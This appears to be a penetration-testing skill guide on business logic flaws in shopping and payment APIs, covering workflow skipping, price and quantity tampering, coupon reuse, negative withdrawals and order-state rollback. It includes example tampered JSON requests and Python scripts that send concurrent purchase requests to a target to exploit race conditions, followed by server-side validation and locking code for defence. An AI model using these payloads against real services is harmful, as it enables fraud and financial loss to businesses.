Overview
Business logic vulnerabilities are design flaws in an application's business processing flow that may lead to unauthorized operations, data tampering, financial loss, etc. This skill provides methods for detecting, exploiting, and preventing business logic vulnerabilities.
Vulnerability Types
1. Workflow Bypass
Skipping verification steps:
- Directly access the final step
- Modify the step order
- Repeatedly execute steps
2. Price Manipulation
Negative price:
- Enter a negative amount
- Causes the account balance to increase
Price tampering:
- Modify the front-end price
- Modify the price in the API request
3. Quantity Limit Bypass
Negative quantity:
- Enter a negative number
- May cause inventory to increase
Exceeding the limit:
- Modify the quantity limit
- Bypass via batch operations
4. Time Race
Concurrent requests:
- Send multiple requests simultaneously
- Bypass single-use limits
5. State Manipulation
State rollback:
- Change a completed order to pending payment
- Modify the order status
Testing Methods
1. Workflow Analysis
Identify business processes:
- Registration process
- Purchase process
- Withdrawal process
- Review process
Test step skipping:
正常流程: 步骤1 → 步骤2 → 步骤3
测试: 直接访问步骤3
测试: 步骤1 → 步骤3（跳过步骤2）
2. Parameter Tampering
Modify key parameters:
POST /api/purchase
{
"product_id": 123,
"quantity": 1,
"price": 100.00 # 修改为 0.01
}
Negative number testing:
{
"quantity": -1,
"price": -100.00
}
3. Concurrency Testing
Send requests simultaneously:
import threading
import requests
def purchase():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 同时发送10个请求
for i in range(10):
threading.Thread(target=purchase).start()
4. State Modification
Modify order status:
PATCH /api/order/123
{
"status": "completed" # 修改为已完成
}
Roll back status:
PATCH /api/order/123
{
"status": "pending" # 从已完成回退到待支付
}
Exploitation Techniques
Price Manipulation
Negative price:
{
"product_id": 123,
"price": -100.00,
"quantity": 1
}
Modify the front-end price:
// 前端代码
const price = 100.00;
// 修改为
const price = 0.01;
API price modification:
POST /api/checkout
{
"items": [
{
"product_id": 123,
"price": 0.01, # 原价100.00
"quantity": 1
}
]
}
Quantity Limit Bypass
Negative quantity:
{
"product_id": 123,
"quantity": -10 # 可能导致库存增加
}
Exceeding the limit:
{
"product_id": 123,
"quantity": 999999 # 超出单次购买限制
}
Coupon Abuse
Repeated use:
POST /api/checkout
{
"coupon": "DISCOUNT50",
"items": [...]
}
# 重复使用同一优惠券
Inactive coupons:
POST /api/checkout
{
"coupon": "EXPIRED_COUPON", # 使用过期优惠券
"items": [...]
}
Withdrawal Vulnerabilities
Negative withdrawal:
{
"amount": -1000.00 # 可能导致账户余额增加
}
Exceeding the balance:
{
"amount": 999999.00 # 超出账户余额
}
Time Race
Concurrent purchase:
import threading
import requests
def buy():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 限时抢购，并发请求
for i in range(100):
threading.Thread(target=buy).start()
Bypass Techniques
Front-end Validation Bypass
Call the API directly:
- Bypass front-end JavaScript validation
- Send API requests directly
Modify requests:
- Intercept with Burp Suite
- Modify parameters and send
Status Code Analysis
Observe the response:
- 200 OK - Possible success
- 400 Bad Request - Parameter error
- 403 Forbidden - Insufficient permissions
- 500 Internal Server Error - Server error
Error Message Exploitation
Obtain information from error messages:
错误: "余额不足，当前余额: 100.00"
→ 可以获取账户余额信息
Tool Usage
Burp Suite
Use Repeater:
- Intercept business requests
- Modify key parameters
- Observe the response
Use Intruder:
- Mark parameters
- Use Payload List
- Batch Testing
Custom Script
import requests
import json
def test_price_manipulation():
# 测试价格修改
for price in [0.01, -100, 0, 999999]:
data = {
"product_id": 123,
"price": price,
"quantity": 1
}
response = requests.post('https://target.com/api/purchase',
json=data)
print(f"Price {price}: {response.status_code}")
test_price_manipulation()
Validation and Reporting
Validation Steps
- Confirm that business logic restrictions can be bypassed
- Verify that unauthorized operations can be performed
- Assess the impact (financial loss, data tampering, etc.)
- Record the complete POC
Report Key Points
- Vulnerability location and business process
- Executable unauthorized operations
- Complete exploitation steps and PoC
- Remediation recommendations (server-side validation, business rule checks, etc.)
Protective Measures
Recommended Solutions
-
Server-side validation
def process_purchase(product_id, quantity, price): # 从数据库获取真实价格 real_price = db.get_product_price(product_id) # 验证价格 if price != real_price: raise ValueError("Price mismatch") # 验证数量 if quantity <= 0: raise ValueError("Invalid quantity") # 处理购买 process_order(product_id, quantity, real_price) -
State machine validation
class OrderState: PENDING = "pending" PAID = "paid" SHIPPED = "shipped" COMPLETED = "completed" TRANSITIONS = { PENDING: [PAID], PAID: [SHIPPED], SHIPPED: [COMPLETED] } def can_transition(self, from_state, to_state): return to_state in self.TRANSITIONS.get(from_state, []) -
Concurrency control
import threading lock = threading.Lock() def process_order(order_id): with lock: # 检查订单状态 order = db.get_order(order_id) if order.status != 'pending': raise ValueError("Order already processed") # 处理订单 process(order) -
Business rule validation
def validate_business_rules(order): # 验证数量限制 if order.quantity > MAX_QUANTITY: raise ValueError("Quantity exceeds limit") # 验证价格范围 if order.price <= 0: raise ValueError("Invalid price") # 验证库存 if order.quantity > get_stock(order.product_id): raise ValueError("Insufficient stock") -
Audit logs
def log_business_action(user_id, action, details): log_entry = { "user_id": user_id, "action": action, "details": details, "timestamp": datetime.now() } db.log_action(log_entry)
Precautions
- Conduct only in authorized testing environments
- Avoid causing actual impact on business operations
- Pay attention to differences in different business processes
- Pay attention to data consistency during testing